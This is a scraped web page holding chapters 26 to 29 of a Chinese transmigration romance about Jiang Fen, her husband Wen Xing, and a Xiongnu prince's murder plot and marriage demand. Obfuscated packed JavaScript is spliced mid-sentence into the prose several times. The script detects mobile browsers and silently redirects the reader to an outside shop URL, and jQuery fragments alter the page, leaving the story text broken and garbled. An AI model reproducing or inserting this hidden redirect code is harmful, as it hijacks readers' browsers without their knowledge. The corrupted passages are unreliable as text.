现代不能回,闻家已落败。自己独自一人,在芪朝的这么些天,除了侯府,对其他地方的陌生感和无措感根本无法抹去。 她真的害怕自己会不明不白地死在这边。 哭到最后,姜汾抽噎的速度越来越快,已经不能完整地说出一句话。 闻行一直安慰着她,她才慢慢止住哭声,在无人注意的时刻又悄悄睡了过去。 开始的时候,闻行并没有发现。直到姜汾已经发出平稳而轻轻的鼾声,他才反应过来,把姜汾打横抱起,稳稳地放在了床上。 他脱下衣服,尽数放入早已准备好的火盆之中,烧的一干二净。 而后,他盯着火盆之中黄蓝交替的火焰,喉结不禁上下挪动,眸中晦暗不明的神色开始撼动他本来坚定的心。 他看着火盆,发了好长时间的神。 等到火盆中的火焰由盛大转为星星点点,他这才回过神来,换上原本的里衣,躺在姜汾旁边,浅浅入眠。 翌日,京中言语四起,匈奴大皇子呼延阑死在了奸人蔺阳的宅中。 死相凄惨,被连捅数刀,而凶器,正是蔺阳的常用佩刀——雪南刀。 26. 旧情 要说这雪南刀,来由可不浅。 那是蔺阳投敌之时,匈奴当今大王呼延烈赏赐给他的。 而他拿着这雪南刀,这些年也没干过什么好事。 第一年,杀了三个妇孺。 第二年,灭了敌对满门。 以此累计,这刀来来回回也算是沾上几百条人命了。 匈奴人生于长于一望无际的辽阔草原,比起亲疏关系,他们更在乎的是,绝对的力量和领导能力。 这次进京的大皇子,除了母族势微之外,是呼延烈众多儿子中绝对的强者,是继承王位最大的期望。 他就这么不明不白的死在了京城,让整个芪朝都没有立足之地。不仅如此,芪朝将要面临的是匈奴的再一次侵扰。 如今当务之急的是,如何安稳住匈奴蠢蠢欲动的狼子之心。 姜汾特意叫来了赵大战,摆满了佳肴珍果,与她举杯长谈。 每次被叫过来都是有事相求,赵大战心有准备,直接问道:“是需要我做些什么事?” 姜汾一直很喜欢她的坦率,反问她:“你愿意帮吗?” 赵大战摇了摇头,作出不情愿状,但是她还是说:“但我毕竟是要在这里待一辈子的,闻演以后做什么这都需要你们的扶持,于你们,我没有任何不帮的权利。” “其实你不帮,我们也会一直扶持闻演的。” 好话说在前头,要求才会慢慢被引出来。 姜汾对赵大战说:“我想再见一次赵屿。” 一位前途无量的新科贵人,背后是雄厚的家族实力,姜汾想来想去,还是觉得他是目前最好的跳板。 赵大战眯了眯眼睛,试探性地问姜汾:“你见他干什么?” 如今外面四处都在传言呼延阑身死,呼延阑与闻家指婚这事是整个京城家喻户晓的事情,被外面不少说书先生当做茶余饭后的谈资讲与那些事不关己的人。 婚约这件事闹得有多难堪,那么呼延阑身死这事就闹得更加的沸沸扬扬,可以说,朝廷上上下下很多人都怀疑是闻家背后动的手脚。 只不过,实在碍于凶器是蔺阳的贴身佩刀,皇帝老儿才暂时没有把火引到侯府。 但现在,姜汾突然让她去找自己的侄子,这件事引起了她的一丝怀疑。 可姜汾面对她的质疑,却一点都没慌乱,反而非常镇静地告诉她:“对,找赵屿,我与他有些恩怨要谈。” 恩怨这个词来得很巧妙,按照赵大战的观察,姜汾与自己的侄子赵屿,除了上一次赵屿为自己出头,其他几乎没有任何接触。 那么,两个从来都没有什么接触的人,又何来恩怨呢? 姜汾只管让赵大战放开手去办,却是一点内情都不泄露。 毕竟,这其中内情,她也是今天早上逼问系统才知道的。 她本来以为,原主和闻行两年来形同陌路,原因在于闻行心不在此。 却没想到,原主早早地就心有所属。 她日思梦想的情郎是姜家这种清流世家根本不会结交的赵家公子赵屿。 姜家在朝堂之上一直保持中立的态度,从来都不会主动靠近任何一位皇子的阵营。 而赵屿,身后的姑姑贤妃,育有一位三皇子,季晟,对皇位一直怀有觊觎之心。他笼络大臣,广纳寒门,近年来,在朝堂之上,他的支持人数已经远远超过了太子。 可姜家不求飞黄腾达,只求自保,毕竟未来的皇帝是谁,谁也说不准,他们不参与这一切争夺,才是最好的自保。 所以,在面对即将婚嫁的女儿时,姜图图绝对不会把她嫁给赵屿,只会在几个同样保持中立的人家中选择贤婿。 姜图图不是不知道自己的女儿仰慕赵屿已久,但他所做的任何决定都象征着家族的兴衰变化,所以他不能退让一步。 自幼饱读诗书的姜汾,深知父亲的难处,所以她没有争论,没有任何反驳,按照父亲的意愿和侯府世子闻裕定亲。 即使后来闻行出面抢了这门亲事,她也觉得无所谓了,自己嫁谁不是嫁? 只要嫁的那个人能够为自己的家族带来绝对的利益,那么,她这门婚事就算成功。 后半辈子,过得委曲求全也好,不尽人意也罢,她出了阁就不再是家中受宠的大小姐,她的身份最后只会归结为某某的妻子。 面对这一切,她不敢也不能反抗,最后的妥协都带着一丝不甘。 只不过,大婚之夜,闻行宁愿在她面前坐一晚上,也不愿意掀起她的盖头,与她共饮合卺酒。 她一直沉默着,仿佛不说话就可以让闻行把自己遗忘在角落,就可以让自己逃离这桩不如意的亲事。 可闻行却用秤杆缓缓挑起了她的红盖头,然后看着她泪如雨下的脸庞,冷漠地问:“别人的新娘子是为了成婚高兴而哭,那么你呢?” 她倔强地抬起头直视闻行,眼睛中雾蒙蒙的水汽让闻行看不透这位新娘的情绪。 闻行不喜欢这个样子的女孩子,但做不到就为此而讨厌本就无辜的姜汾。 所以,闻行将桌子上早早准备的糕点零食塞给她,并对她说:“我不会对你做什么的,我为我大哥娶了你,但我不喜欢你。” 听到这话,她才松了口气,抹去脸上的眼泪,回复闻行:“我也不喜欢你,我有喜欢的人。” “是我大哥?” 姜汾不说话,但是长久的沉默让闻行明白:她喜欢的人绝对不会是自己的大哥。 闻行什么风凉话也没说,只是对她说道:“以后我们可以做伙伴,夫妻是不可能的,我这个性子有点怪,喜欢有人赖着我,怪我,逗我,你这样温柔,我们到时候根本没什么话可以说。” 把话直接挑明了,姜汾再也没有任何难过的情绪了,但她很快想到一个重要的问题,紧接着,她问闻行:“你需要我生一个孩子吗?” 闻行摇了摇头,说道:“父母都不相爱,生下的孩子活着也是受罪,起码我小时候是这样的。” 闻小芳不爱她的母亲,只是看他母亲年轻貌美,便动了恻隐之心,强行和他的母亲生下了他们兄弟二人。 他要是洁身自好也罢,可风流成性的他只会沾花惹草,时不时地就把外面的女人带回侯府,仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062441|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛在故意刺激怀胎九月的母亲。 这件事,成为了他母亲心中难以跨过的一道刺,撕扯着她的灵魂和身体,让她抑郁成疾,终于在闻行六岁时撒手人寰。 闻行还小,很多事情都是闻裕在帮他扛。 很多时候自己犯错了,闻小芳毒打的人便是闻裕,闻行一直不知道这些事,一直调皮捣蛋地到处玩。 直到八岁那年,上元灯会,人来人往,车水马龙之际,他与下人失去联系,从此远离了侯府。 闻小芳不爱他的母亲,更不爱他们两兄弟,这是让闻行开启颠沛流离最重要的推动者。 所以,他不会让自己的孩子也跟随着自己脚步,过着一个午夜梦回却泪眼婆娑的人生。 姜汾觉得自己很幸运,遇到了闻行这种不强迫她做这个时代所有女人都必须做的事情。 婚后两年,闻裕重病去世,自己一直无子,侯府本就人丁单薄,闻小芳绝对不会坐视不管。 闻小芳开始明里暗里要求姜汾赶紧和闻行生下一个儿子,好为闻家传宗接代。 开始的时候,闻行还会在子女的立场上客套两句,可久而久之,谁面对这种无理取闹的要求都会烦闷。 所以两个人都选择把闻小芳的话当成耳旁风,往往一只耳朵进一只耳朵出,一直都没有当回事。 直到闻小芳看出了两个人的心不在焉,知道靠他们没用,直接自己上阵,广撒网,只看到时谁会先怀上自己的孩子。 芙奴正好撞了这个枪口,她幸运地在闻小芳迫切地想再要一个子嗣的时候怀上了她的儿子。 可闻小芳年岁已高,她才二八年华,无论谁都会觉得有些不甘心。 所以她向闻小芳诉说:“如今我们这层关系,传出去只会让人觉得侯爷好色,我深知侯爷不是这种人,不如侯爷让二少爷抬我做妾?” “到时候,我的孩子还是管你叫一声父亲,外人也不好说些什么,我们母子俩才会免于外人非议啊。” 色令智昏,一辈子没有明白色字头上一把刀的闻小芳,在芙奴软磨硬泡数天后终于答应了。 芙奴如愿以偿地成为了闻行的妾,脱离了奴才的卑微,她日日里见着闻行丰神俊朗的模样,自觉芳心荡漾。 于是,欲望再一次发酵,她想要自己的位置再高一步,最好能爬到闻行身边去。 仗着自己妖冶的好样貌,她尝试勾引过一次闻行。 可即使使上浑身解数,闻行不为所动的样子让她觉得这样下去不是办法。 一个黑暗的想法在不断的延伸,最后付诸实践,她在一个无人在意的夜晚,向姜汾投毒,终于将原来的主母杀死。 自己肚子里还有闻家的骨肉,即使闻行想把自己千刀万剐,还有闻小芳拦着。 为了这个老年难得的血脉,闻小芳不惜和闻行、姜家撕破脸皮,最后不仅芙奴安然无恙,连姜汾都是草草下葬。 她少女时不合时宜的悸动一直存在,直到她倒在血泊中的那一刻。 她闭上了眼睛,根本不知道自己下葬之时,赵屿混在抬棺的莽夫里,为她亲自抬棺。 27. 诈死 原来的姜汾情感如何,不是她这个冒牌货可以干预的,她无法像原主一样偷偷喜欢赵屿那么多年。 所以再次见到赵屿时,她也不会与原主一样心怀悸动,只是平稳的心跳。 面对这个和上次见面别无二样的人,姜汾主动开口:“别来无恙。” 赵屿比上次还没心没肺,与姜汾隔了一段距离便爽朗大笑:“二表嫂,二表哥今个儿不在啊?” 姜汾冲她微微一笑,回话道:“在书房里教导恒暄练字,他待会儿就来,我先招待你。” 说罢,她便把赵屿带进厅堂,让婢女为他上茶引座。 随后,她先是问了句:“你上次来为母亲做主,是因为你是她的侄子,还是因为闻行与你素有交情。” 赵屿看着她探究的眼睛,笑着把这件事揭了过去。 “父亲叫我来的,他老人家的意见摆在那里,我怎么敢违背啊。” 姜汾盯着他略带闪躲的眼神,知道他对原主是有一些感情的。 一个温柔似水,一个旷达不羁,看起来真的是天作之合。可惜了,她不是原来的姜汾,给不了赵屿应有的回应。 姜汾把事情摆到明面上来,告诉他:“你应该猜得到我为什么请你上门。” “自然是有事求我。” 轻轻地摇了摇头,姜汾苦笑了一下,告诉他:“我长这么大没求过人。” 【啊?吹牛不打草稿,你半夜求爷爷告奶奶找我看霸道总裁爱上我这种书,这事儿你不记得了?】 【从前车马慢,一生只够求一个人。现在网速快,一个小时求八个人。】 自动在脑海中屏蔽掉系统急眼的状告声,姜汾闭了一下眼睛,告诉赵屿:“但是,我现在是真的没办法了,所有人都不肯帮我,我实在没办法才联系你的。” 赵屿眸中闪过一丝异样的神色,然后直白地说:“姜汾,你以前与我接触时从来都没有这样说过话。” 她当然知道原主不会这样说话,但她现在就是希望自己能多露出一些破绽,能让赵屿知道,自己不是他所期待的那个人。 一旦双方之间有感情这种事作为羁绊,合作就不太好谈了。 尽管这样,会让姜汾损失一定的合作基础,毕竟到那时,赵屿不一定会看在她的面子上帮助侯府。 但是,利用原主和他人的情感来完成一件利己的事,这不是她的初衷,她也绝对不会做出这样的事情。 所以,她要让赵屿清楚地明白,自己并不是原来的的姜汾。 姜汾抬起眼眸,冷静地说道:“我之前死过一次,你知道吗?” 赵屿没说话,但是,这也算是变相的肯定,他知道,他只是不愿意承认罢了。 “我之前死的那次,你在哪里?” 赵屿听着她的质问,才明白姜汾的话中内涵,但他不做任何争辩,只是继续扯开话题,道:“我肯定在家啊,赵家有赵家要忙的事,闻家的事我又没资格过问,我不在家,我能在哪儿?” 看着他一次又一次地回避着姜汾的问话,不肯正面回答,姜汾正想加快攻势,快点结束这个话题,便看见闻行掀开帘子从厅堂后面从容地走了出来。 这么多天了,姜汾为了这件事着急地吃不下饭,睡不着觉,害怕在某一天,他们就会被圣上追查到。 但是,当姜汾如同热锅上的蚂蚁急得团团转的时候,闻行却很自在地在家里待着。 因为那把雪南刀,文武百官猜测呼延阑的死和蔺阳有关,可推究到那层情面,眼下看呼延阑最不顺眼的人是谁,不言而喻。 面对垒起来如山高的奏折都在质疑闻行的作为,圣上别无他法,把蔺阳打入大牢审问的同时,也停了闻行的职。 这件事查不出一个水落石出,闻行就无法回到他原本的地位上大展身手。 姜汾一直以来觉得心里焦急,可闻行却不慌不忙,每天在侯府里不是监督姜汾读书,就是逗林恒暄开心。 他也从每日里的劲装换成了闲散衣服,宽袍大袖,看花赏水,好不自在。 他还会时不时用拇指抚开姜汾皱着的眉头,轻声地告诉她:“无碍的,不用害怕。” 姜汾内心腹诽:我哭天哭地不哭死,要是到了真死的时候你说没事,这话能当保命符吗? 然而,闻行依然我行我素,根本不在乎外面的流言蜚语,甚至每天晚上睡得比谁都早。 只有姜汾因为焦虑、精神压力过于太大,而每晚上失眠到半夜,睡着了也要磨牙。 闻行一个踏步就走到了赵屿身边,客气了下,说:“我们交情也不深,没想到你愿意到侯府来鼎力相助。” 赵屿本来想和闻行解释清楚,自己自己还没有决定帮助侯府,没想到闻行根本没有在意他想说话的心情,一个转身便走到姜汾身旁坐下。 “感谢你的倾囊相助。” 闻行很好地发挥了他笑颜如花、鬼话连篇的优势,先向他表达的感谢让他根本说不了回绝的话。 甚至而言,赵屿想说的话都被他噎在了喉咙里,让他毫无征兆地被迫加入闻行的队伍。 但是,赵屿并不是任人拿捏的软柿子,他直言不讳道:“让我帮助你,有什么利益能让我心动的吗?” 姜汾看着完全变了一个样子的赵屿,心想爱情真的会让一个人面目全非。 “没有。”闻行舌苔抵了一下牙关,然后略做思考道:“能帮你好好养你表弟。” 看赵屿不太满意,闻行“啧”了一声,似乎是觉得事情不太好办了,然后又回道:“当然,更会帮你好好养你二表嫂。” 听明白闻行话里的意味,姜汾瞳孔骤然放大,当她以同样的的视线看向赵屿时,发现她眼神中竟流露出了一丝不自然。 但是,姜汾很快调整了过来。 和赵屿有情的人并不是她,就算是,作为有情之人的任何事情他们都没有做过,可以说,这实在不配被拿出来笑话。 “表弟,你怎么了?” 闻行一脸关切地问赵屿。 赵屿扯出了一个难看的的笑,然后告诉他:“闻行,你好样的。” “我自己都这么觉得。” 一直被夹在中间没有说话的姜汾,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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偶尔有一两个不受控制,会被闻行抢过去吃掉。 她本来以为这种日子要持续很长一段时间,可不过五六日,京城之中又流传出新的消息。 新科贵人赵屿,在早上买馄饨吃的时候,发现卖馄饨的年轻人不会说汉话,当场抓住了这位年轻人,交给官府审问。 而最重要的是,经过与会匈奴语言的大臣会面,这位年轻人自称,他才是真正的胡人大皇子——呼延阑。 而唯一能证明他身份的蔺阳,在与他相见的第一面,便直挺挺地跪下叫了一声:“大皇子,您安康。” 呼延阑即使被抓了,依然很沉稳,他高傲地俯视跪在地上的蔺阳,声音讥讽道: “想要给我塞一个又聋又哑的男人,让我受尽屈辱,做不了君主?想要在我入京的第一夜杀了我,让我根本回不到部落?” “蔺阳,你已经当了芪朝一次叛徒,这一次,你是想当我胡人的叛徒吗?” , 28. 选中 这事说来蹊跷。 谁不知道当时雪南刀杀的人是呼延阑? 就连蔺阳本人都从来没有否认过,毕竟,当时,假的呼延阑进京的时候,是蔺阳亲自去接的他。 他怎么会接错人呢? 就算他知道自己接到的不是真正的呼延阑,那么之后,假的呼延阑被杀,他为什么不否认被杀的人的身份? 疑点重重,如同黑云翻墨,遮盖着这一切真相。 姜汾思来想去想不通这一切,闻行抬起手指勾了勾她的鼻子,温柔说道:“别乱想。” “怎么可能不乱想。” 嘟囔了一声,姜汾再次问闻行:“你真的不告诉我吗?” 闻行眼神忽又游离了一番,然后对姜汾说:“我今天早上特地去看了那位真正的大皇子,发现这个真的,和原来那个假的长得一模一样。” 替身么? 那么,这就很好理解了。 哪位对觊觎皇位的皇子,愿意背井离乡数万里,到一个陌生的国度生活数年。 这不仅不利于皇子扩展在原本国家的势力,还会彻底让他陷入一个被动、不可控制的局面。 没有人愿意主动进入这种窘境。 这个时候,找一个长得一模一样的的替身,便是最好的安排。 当替身在京城中被杀死,呼延阑的存在便是一个问题,没有人会相信真正的呼延阑还活着,他的身份便会被完完全全地抹去。 为了防止陷入这种局面,呼延阑就必须得主动地出现在外人的视野之下,然后将自己的身份公之于众。 但是,他完全可以大摇大摆地进入京城,拿着呼延烈的信物,或者一切能够证明他身份的东西,当着圣上的面对质。 他为什么要选择在闹市卖馄饨?又在卖馄饨的时候被当做敌国奸细抓住? 他所有的一切,都不符合他个人的身份。 但是,到目前为止,这都不重要,重要的是,不甘受辱的呼延阑,当众宣布解除这桩荒唐的婚约。 蔺阳原本是要被处死的,可呼延阑人生地不熟,还不会汉话,只能让他戴罪立功,带着呼延阑适应京城的生活。 而圣上,为了促成与匈奴的和平,纵容呼延阑随意悔婚的举动,并准许他在京城的名门望族中挑选出一位合适的佳人。 为此,他特地挑选了一个良辰吉日,五月初六,端午之后的那天,让整个京城有头有脸的人物,带着自己的女儿,到侯府参加宴会。 说破了,这其实就是变相的相亲。 为什么非得在侯府举办? 这事说起来毫无考究。 圣上认为,没促成这桩婚事,侯府也有一定责任。恰好,呼延阑在京城举目无亲,自然没人愿意帮他办这个宴会。 因此,圣上用了一通歪理,终于把这件费心的混账事,交给了被革职查办多日的闻行。 都要把事情交给臣子办了,自然要恢复臣子的职位,没过多久,闻行就身穿官袍,又上朝堂了。 宴会这件事,涉及联姻,马虎不得。 可怜姜汾每天盯着下人们采买物品,每一样都不放过,这桩事了了,那件事又着急地赶了上来。 她必须得亲力亲为,容不得一点闪失。 这个时候,姜汾满怀,渴望能拥有一般穿越女拥有的金手指,却只能咬着牙继续干。 反正烂命一条,活着就是拼搏。 除了每天也在焦虑这件事的闻行,季姌见她实在繁忙,还会抽出时间过来帮她布置。 几人忙忙碌碌好几天,终于等来了宴会开场的那天。 要说这呼延阑,心里面对侯府是排斥地不行,宴会到来之前,根本没有来侯府过问过一点。 从头到尾,呼延阑在京城做的最多的事,就是去城东,那家他被抓住的馄饨铺,帮老板继续卖馄饨。 本来人已经抓到了,闻行就告诉赵屿不用再去那里买馄饨了,可呼延阑这么一搞,圣上自然是有疑心的。 听闻赵屿原来每天都要去那家馄饨店,圣上就偷偷叮嘱赵屿,让他继续去那里监视呼延阑。 赵屿天不见亮,就要爬起来去馄饨店守着,可怜他一个文官,一生只与圣贤书打过交道,现在却干起了这种活。 但姜汾没有精力去怜悯他人,她已经过度劳累好多天了,现在走路都能直接花式跪倒。 实在忍受不了的她,让闻行帮自己顶班,主持一下宴会,自己则两脚生烟溜回了房间睡觉。 闻行听到她的诉求,说:“我所认识的所有主家办宴会,夫人一定会到场,但是无碍,过场罢了,你且去休息一会儿吧。” 姜汾没听清他后面的话,只记得自己睡着之前的舒适和自在。 很久没有睡这么舒服的一觉了,下人们都被派遣到前厅伺候前来的达官贵人,没人叫醒姜汾。 以至于,宴会中午开始,在天色已经完全被捉摸不透的黑暗所代替时,姜汾才悠悠转醒。 意识到自己错过了时候,姜汾随意收拾了一下,甚至连头发都没有认真打理,便急忙走到门外。 她沿着玉蕤轩花园的道路走了走一段路,靠着自己对侯府的熟悉,姜汾很快绕过前厅还在玩闹的客人,走到了正厅旁的一处房间。 正当她准备出去的时候,一阵突如其来的凉风吹得她一惊。姜汾想打喷嚏,却打不出来,难受的感觉刺激出了她的生理性泪水。 姜汾没太在意,捂了一下鼻子,发现实在打不出喷嚏,便擦掉眼旁的眼泪作罢。 房间内烛光闪烁,风大了些,姜汾知道这是物资缺乏的古代,自己不能受到一点风寒,否则会接连难受两三个月,甚至会引发更多令人难以置信的疾病。 想到一墙之隔的前厅还有客人,姜汾轻手轻脚起身,去到窗户边,正准备关好窗户,便看见窗户不远处站着一个俊朗的少年。 他容貌硬朗,面容棱角分明,玉质金相,肤色偏向为古铜色,仿佛是长期在户外生活的样子。看他的身份,更像是一个行兵之人。 姜汾不认识他,也知道在这种人多口杂的场合,自己这种身份不宜和陌生的外男接触,便没有多在意,准备关上窗户了事。 就在这时,一直站在旁边的少年走了过来,用手直接卡住了窗户,阻止了姜汾关窗户的想法。 少年看起来年少老成,说话声音清澈,却抑扬顿挫都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101703|135928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着他这个年纪不该拥有的沉稳。 “姑娘国色天香,敢问叫什么名字?” 姜汾没理他,使了力气,准备强行关上窗户,可眼前这位少年也是个倔的,手上青筋略显,却仍然不肯放过姜汾。 此情此景,姜汾不禁想到了潘金莲和西门庆。 都怪李坝坝天天看金瓶梅,这下子戏剧照进现实了吧。 姜汾不理他,只是冷声让他放开。 但是,少年偏偏不放,反而伸出另外一只手,想要触碰姜汾。 姜汾无形之中翻了一个白眼,趁少年忙着调戏自己之际,伸出左勾拳直接痛打少年右眼。 少年吃痛,放开霸占着窗户的手,还没有反应过来,便便听见“嘭——”地一声,等眼睛稍稍恢复了一点,再次抬起头寻找美人时,美人已经无情地关上窗户,连窗台的灰都没给他留下。 意识到自己对这位素未谋面的姑娘感兴趣,少年默不作声地走到前厅,对参加宴会的众人宣布: “我呼延阑,已经找到了想要联姻的姑娘。” 他在慢慢地学习芪朝人的语言,说这话时磕磕绊绊,大家能听懂,却也听得艰难。 再者,他说话,一直都带着匈奴人的旷达不羁,这与含蓄内敛的芪朝人有很大不同,所以,在场的人一直不太理解呼延阑的一举一动。 只有闻行在听到他找到了认可的姑娘时,走到他的身边,问:“是谁?” 呼延阑也不是每句话都听得懂,譬如这一句,他就是在蔺阳的翻译下,才回答闻行:“我不知道她的名字,但我一定会找到她?” 这话仍然是蔺阳翻译的。 闻行轻笑一声,没在意呼延阑的话,他的注意力全部都放在了偷偷摸摸进场的某个小孔雀身上。 见姜汾离自己很近了,他一把把姜汾拉了过来。 差点跌进了闻行的怀抱,姜汾羞赧到脸色通红,但她很快就稳住了脚步,并悄悄掐了一把闻行的腰。 闻行似乎是感受不到任何疼痛,他盈盈一握姜汾的腰肢,对着呼延阑介绍道:“这是我夫人,姜汾。筠婉,这是那位大名鼎鼎的大皇子,呼延阑。” 姜汾个子没有他们那么高,刚开始没有正视呼延阑,没发现他盯着自己炽热的眼神,这下子恍然抬起头,才发现这是刚刚的流氓。 “我认识他。” “哦?”闻行特意偏了一下头,将耳朵的位置调低一点,好在人声嘈杂中听清姜汾的话。 姜汾也特地踮起一些脚,凑近闻行耳廓,用两个人才能听到的声音说道:“他刚刚调戏我。” 听到姜汾的话,闻行眉头一皱,预感事情发展会有些过分。 果不其然,呼延阑笑得有些灿烂,特地走到贴近闻行的位置,告诉他:“我想要的意中人,就是你的妻子。” 他声音虽然不大,但周围人都听得到,一瞬间的沉默如同连绵的波浪,控制了在场所有的人。 姜汾觉得自己的耳朵似乎出了些问题。 可当她看着呼延阑眼神中对她不加掩盖的求取,她才意识到这件事的严重性。 姜汾腹诽:才十五岁,又一个误入早恋圈套的少年。 29. 错综 面对呼延阑无礼的要求,姜汾心中也没有底。 她不知道闻行会不会把自己让出去,她和闻行才相处不到一年,情谊不深。 退一万步讲,就算他们之间亲密不可分,闻行也不是那种为了情谊就一定会放弃利益的人。 但是,她的命运自始至终都把握在自己手里,想要不远去草原荒漠,就得自己争取。 姜汾只是惊讶了一下,然后便正色道:“大皇子,我已经嫁为人妻,强夺他人之妻,可不像是能够展示胡人胸怀的方式。” “怎么会呢?”呼延阑一点也不退让,“我又没有为难你们。” 姜汾尽量把道理说得明白:“非要这样,你让你的族人怎么想?” 可呼延阑油盐不进,对姜汾笑着说:“我们胡人一族,继承王位者可以继承父王所拥有的一切,包括宠妃。这一条规矩都没人质疑,更何况我娶他人妇呢?” 就在这时,闻行站出来把姜汾护在身后,嘲讽的语气不言而喻,“是因为我亲手斩杀你的外爷吗?” 提及这个,呼延阑掩饰不住眼底将要溢出的怒气,直接回应:“这笔账,我自己以后会算。但现在,我就是只想要你的妻子。” 闻行毫不留情地告诉他:“我不会答应的,她是我的妻子,且会是我唯一的女人。” “你唯一的女人?” 呼延阑声音大了几分,道:“我听说,她与你成婚两三年,到现在都没有一个孩子,难道不是你不行吗?你不行的话,她为什么不能跟我?” 芪朝民风保守,这种事情再怎么都不会拿到台面上来讲,这是对双方的亵渎。 尽管这京城之中,不少人家怀疑闻行那方面有疾,但碍于情面和威压,一直都只是背后议论。 可现在,呼延阑的做法是完完全全没有考虑到闻行要作为男人的尊严。 他甚至还出言挑衅:“反正我还要在京城待上几年,你要是能在一年之内,让你的妻子生下一个孩子,我就放弃她。” “甚至,到时候,我不需要任何联姻,无条件与芪朝保持和平。但是,要是完不成,那一年之后,我和她就得成亲。” 闻行被他天真的想法逗笑了,“你生下来的时候脑袋被牧马人踹了吧,想一出是一出的。” 呼延阑的话一字一句重重地砸在地上,这让姜汾如九雷轰顶,她质问呼延阑:“你想要娶我?还是把我当做一件可有可无的货物?” 呼延阑丈二和尚摸不着头脑,不理解姜汾的意思,问她:“我为什么要把你当做是货物。” 姜汾尽量压制住自己上下起伏剧烈的胸膛,然后回问他: “我凭什么成为你们赌约的筹码?你们谁赢了,我就必须得跟着谁?这件事,从始至终都没有经过我的同意,我又不是你们的附庸,凭什么答应你的条件?” “可是……”呼延阑被姜汾接二连三的质问逼到愣神一瞬,他声音淡下去两分,道:“我胡人皆可以如此。” “这是芪朝。” 闻行不可能让任何人三番五次地在自己的地盘撒野,他宣誓主权的这句话,是在警告呼延阑的同时,提醒在场的所有客人,不要太过忌惮他族,否则会丢了国家应有的气焰。 在他的提醒下,终于有人站了出来,三言两语地劝阻呼延阑不要意气用事。 门外突然传来一阵急促的脚步声,姜汾闻声抬起头,发现来人正是赵屿。 赵屿应该是陪他的妹妹赵峤来的,他的妹妹是本次圣上特别在意的人选。 当朝公主均已嫁人,且再往下看,皇族也没有适龄的婚姻人选。这次联姻的考虑范围,重点在当今的名门望族。 本来,赵家的势力就在朝廷中不断蔓延,成为圣上心中忌惮的世家,再加上前不久闻演入狱的事情,让圣上心中的疑虑不断加重,按照这个局势,他迫切地想要削除赵家的势力。 这个时候,把赵家的嫡女赵峤送出去联姻,是再好不过的选择了。 赵家再怎么家大业大,他们也不敢太过风光,毕竟,还有个女儿远走他乡,不知生死。 对于赵屿来说,圣上点名要求他的妹妹参加此次的宴会,他是不喜的。 他特意和妹妹待在离正厅远很多的地方,一方面是为了躲避呼延阑。另一方面,是为了避免见到自己日思夜想的那个人。 可当他在外面听到呼延阑当众宣布选中姜汾的时候,他还是慌了。 再怎么,也轮不到那个野蛮之地出来的野人。 他急匆匆地赶到厅堂,还未进门,便听到姜汾在掷地有声地反驳呼延阑对自己的控制性言语。 赵屿躲在门后偷偷看着她坚毅的脸庞,数支蜡烛的光照在她的脸庞上,他一直不愿意承认的事情终于又一次血淋淋地摆在自己面前。 他所认识和喜欢的姜汾,安静内敛,在任何场合,绝不会驳任何人的面子,即使那个人侮辱自己到了极点,她也会浅笑着回应。 可现在,面前这个人不断的反击,让他被迫接受这个事实,或许,他所喜欢的那个人,再也回不来了。 姜汾在之前死的那次,可能是这个人间最后的一面。 即使再无法接受,走到了这里,就必须得面对。 他面色不变走进厅堂之内,看着眼前的呼延阑,认真道:“不要一意孤行行事,你年纪还小,以后会发现做一件不被人认可的事,会是多么的困难。” 呼延阑不接受赵屿的教化,反问:“我若不试一试,谁知道最后结果如何?” 这时,赵峤跟着赵屿的脚步,来到了厅堂,一进门,她便惊讶于厅堂之内剑拔弩张的气氛。 可抬头一看,便一眼注意到了与芪朝人长相完全不同的呼延阑。 他带着草原马背上的民族应有的豪爽之气,成为了在场所有人中独一无二的存在。 赵峤年纪还小,十八岁,从来没怎么出过家宅的她,第一次见到这样的男人,心中顿时泛起阵阵涟漪。 她没有听到之前哥哥与呼延阑的争吵,此时此刻,她完完全全沉浸在自己初次的欢喜中。 听父亲说,自己是圣上主要考虑的联姻人选,如果呼延阑是这样的话,那也不是不可以的。 但是,她一个姑娘家,不可能在明面上说这些,她只能回去关上门来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你们的大军把我们胡人节节逼退的时候,不是怎么都没找到他的头颅吗?是因为我,把他的头颅未来泡了药酒,现在还在我客栈的床底放着呢。” 此话一出,震惊了在场的所有人。 也让原本对他产生喜欢的赵峤一阵恶寒,她看不见呼延阑,却能感受到他在说这话的洋洋得意。 所有人都不敢轻举妄动,都在等待闻行的回应。 